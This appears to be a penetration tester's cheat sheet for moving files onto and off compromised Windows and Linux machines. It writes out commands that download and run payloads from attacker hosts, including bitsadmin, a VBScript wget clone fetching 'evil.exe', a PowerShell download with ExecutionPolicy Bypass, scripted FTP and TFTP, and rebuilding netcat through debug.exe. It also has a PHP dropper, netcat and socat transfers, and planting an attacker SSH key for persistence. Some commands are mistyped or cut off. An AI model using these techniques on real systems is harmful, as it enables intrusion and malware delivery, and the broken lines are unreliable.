Transferring Files from Windows to Linux

Scenario: you want to transfer files from a Windows Client desktop to your Linux Pentest machine.

SMB Client

Using Impacket:

```
python smbclient.py evilcorp.local/username@HOSTNAME.evilcorp.local
shares
use secretshare
get file.txt
```

SMB Server

You can set up a SMB server on your pentest machine, and then just access the share from your Windows machine and upload and download files. This can be done either over the customers internal network, or by simply connecting your pentest machine to the windows machine with an ethernet cable.

In many modern AD it is not possible to mount a smbshare without authenticating, so you need to start the smbserver with the flags `-username` and `-password`. You will likely also need the `-smb2support` flag, because otherwise it will default to smb1, and that is often not supported. With impacket this can be done like this:

```
sudo python smbserver.py -smb2support -username pelle -password mysecretpassword test /tmp
```

On your windows client your wither just ue the file explorer and go to `\\169.254.86.128\test`, or you can mount it like this:

```
use net Z: \\169.254.86.128\test /user:pelle
```

```
net user Z: /delete
```

To and from client to server SMB / RDP

If you are using RDP on windows you can just attach a directory to share from when you start your RDP session.

```
xfreerdp /u:MYUSERNAME /v:10.10.10.1111 /drive:fildel,/home/temp/tmp
```

Now you can simply open the Computer part in your Explorer window, and you should see the disk `fildel`. In that share you can share documents between your computer and the RDP server.

From client to server SMB / RDP

A simple way is simply to to connect to your server with xfreerdp and then open up the fil-browser in your linux machine, and copy the file. Then go to your windows server and simply paste the file. For me it only works in that direction, and not the reverse.

From X server to Windows (Bitsadmin)

Downloading a file with CMD can be done with bitsadmin.

```
bitsadmin /transfer aaa http://192.168.66.87/apaa.txt c:\Users\temp\aaa.txt
```

FTP

Most windows machines have a ftp-client included. But we can't use it interactively since that most likely would kill our shell. So we have get around that. We can however run commands from a file. So what we want to do is to echo out the commands into a textfile. And then use that as our input to the ftp-client. Let me demonstrate.

On the compromised machine we echo out the following commands into a file

```
echo open 192.168.1.101 21> ftp.txt
echo USER asshat>> ftp.txt
echo mysecretpassword>> ftp.txt
echo bin>> ftp.txt
echo GET wget.exe>> ftp.txt
echo bye>> ftp.txt
```

Then run this command to connect to the ftp

```
ftp -v -n -s:ftp.txt
```

Of course you need to have a ftp-server configured with the user asshat and the password to mysecretpassword.

TFTP

Works by default on:

Windows XP

Windows 2003

A TFTP client is installed by default on windows machines up to Windows XP and Windows 2003. What is good about TFTP is that you can use it non-interactively. Which means less risk of losing your shell.

Kali has a TFTP server build in.
You can server up some files with it like this

```
atftpd --daemon --port 69 /tftp
/etc/init.d/atftpd restart
```

Now you can put stuff in `/srv/tftp` and it will be served. Remember that TFTP used UDP. So if you run `netstat` it will not show it as listening.

You can see it running like this

```
netstat -a -p UDP | grep udp
```

So now you can upload and download whatever from the windows-machine like this

```
tftp -i 192.160.1.101 GET wget.exe
```

If you like to test that the tftp-server is working you can test it from Linux, I don't think it has a non-interactive way.

```
tftp 192.160.1.101
GET test.txt
```

I usually put all files I want to make available in `/srv/tftp`

If you want to make sure that the file was uploaded correct you can check in the syslog. Grep for the IP like this:

`grep 192.168.1.101 /var/log/syslog`

VBScript

Here is a good script to make a wget-clone in VB.

If it doesn't work try piping it through unix2dos before copying it.

```
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

You then execute the script like this:

```
cscript wget.vbs http://192.168.10.5/evil.exe evil.exe
```

PowerShell

This is how we can download a file using PowerShell. Remember since we only have a non-interactive shell we cannot start PowerShell.exe, because our shell can't handle that. But we can get around that by creaing a PowerShell-script and then executing the script:

```
echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://192.168.1.101/file.exe" >>wget.ps1
echo $file = "output-file.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
```

Now we invoke it with this crazy syntax:

```
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
```

Debug.exe

This is a crazy technique that works on windows 32 bit machines. Basically the idea is to use the `debug.exe` program. It is used to inspect binaries, like a debugger. But it can also rebuild them from hex. So the idea is that we take a binaries, like `netcat`. And then disassemble it into hex, paste it into a file on the compromised machine, and then assemble it with `debug.exe`.

`Debug.exe` can only assemble 64 kb. So we need to use files smaller than that. We can use upx to compress it even more. So let's do that:

```
upx -9 nc.exe
```

Now it only weights 29 kb. Perfect. So now let's disassemble it:

```
wine exe2bat.exe nc.exe nc.txt
```

Now we just copy-past the text into our windows-shell. And it will automatically create a file called nc.exe

Transfering files Windows to linux

smb-client

If you only have a hash of a user which is

Transferring Files on Linux

Set Up a Simple Python Webserver

For the examples using `curl` and `wget` we need to download from a web-server. This is an easy way to set up a web-server. This command will make the entire folder, from where you issue the command, available on port 9999.

```
python -m SimpleHTTPServer 9999
```

Wget

You can download files using `wget` like this:

```
wget 192.168.1.102:9999/file.txt
```

Curl

```
curl -O http://192.168.0.101/file.txt
```

Netcat

Another easy way to transfer files is by using netcat.

If you can't have an interactive shell it might be risky to start listening on a port, since it could be that the attacking-machine is unable to connect. So you are left hanging and can't do `ctr-c` because that will kill your session.

So instead you can connect from the target machine like this.

On attacking machine:

```
nc -lvp 4444 < file
```

On target machine:

```
nc 192.168.1.102 4444 > file
```

You can of course also do it the risky way, the other way around:

So on the victim-machine we run `nc` like this:

```
nc -lvp 3333 > enum.sh
```

And on the attacking machine we send the file like this:

```
nc 192.168.1.103 < enum.sh
```

I have sometimes received this error:

```
This is nc from the netcat-openbsd package. An alternative nc is available
```

I have just run this command instead:

```
nc -l 1234 > file.sh
```

Socat

Server receiving file:

```
server$ socat -u TCP-LISTEN:9876,reuseaddr OPEN:out.txt,creat && cat out.txt
client$ socat -u FILE:test.txt TCP:127.0.0.1:9876
```

Server sending file:

```
server$ socat -u FILE:test.dat TCP-LISTEN:9876,reuseaddr
client$ socat -u TCP:127.0.0.1:9876 OPEN:out.dat,creat
```

With php

```
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```

Ftp

If you have access to a ftp-client to can of course just use that. Remember, if you are uploading binaries you must use binary mode, otherwise the binary will become corrupted!!!

Tftp

On some rare machine we do not have access to `nc` and `wget`, or `curl`. But we might have access to `tftp`. Some versions of `tftp` are run interactively, like this:

```
$ tftp 192.168.0.101
tftp> get myfile.txt
```

If we can't run it interactively, for whatever reason, we can do this trick:

```
tftp 191.168.0.101 <<< "get shell5555.php shell5555.php"
```

SSH - SCP

If you manage to upload a reverse-shell and get access to the machine you might be able to enter using ssh. Which might give you a better shell and more stability, and all the other features of SSH. Like transferring files.

So, in the `/home/user` directory you can find the hidden `.ssh` files by typing `ls -la`.
Then you need to do two things.

1. Create a new keypair

You do that with:

```
ssh-keygen -t rsa -C "your_email@example.com"
```

then you enter a name for the key.

Enter file in which to save the key (/root/.ssh/id_rsa): nameOfMyKey
Enter passphrase (empty for no passphrase):
Enter same passphrase again:

This will create two files, one called `nameOfMyKey` and another called `nameOfMyKey_pub`. The one with the `_pub` is of course your public key. And the other key is your private.

1. Add your public key to authorized_keys.

Now you copy the content of `nameOfMyKey_pub`.
On the compromised machine you go to `~/.ssh` and then run add the public key to the file authorized_keys. Like this

```
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQqlhJKYtL/r9655iwp5TiUM9Khp2DJtsJVW3t5qU765wR5Ni+ALEZYwqxHPNYS/kZ4Vdv..." > authorized_
```

1. Log in.

Now you should be all set to log in using your private key. Like this

```
ssh -i nameOfMyKey kim@192.168.1.103
```

SCP

Now we can copy files to a machine using `scp`

```
# Copy a file:
scp /path/to/source/file.ext username@192.168.1.101:/path/to/destination/file.ext

# Copy a directory:
scp -r /path/to/source/dir username@192.168.1.101:/path/to/destination
```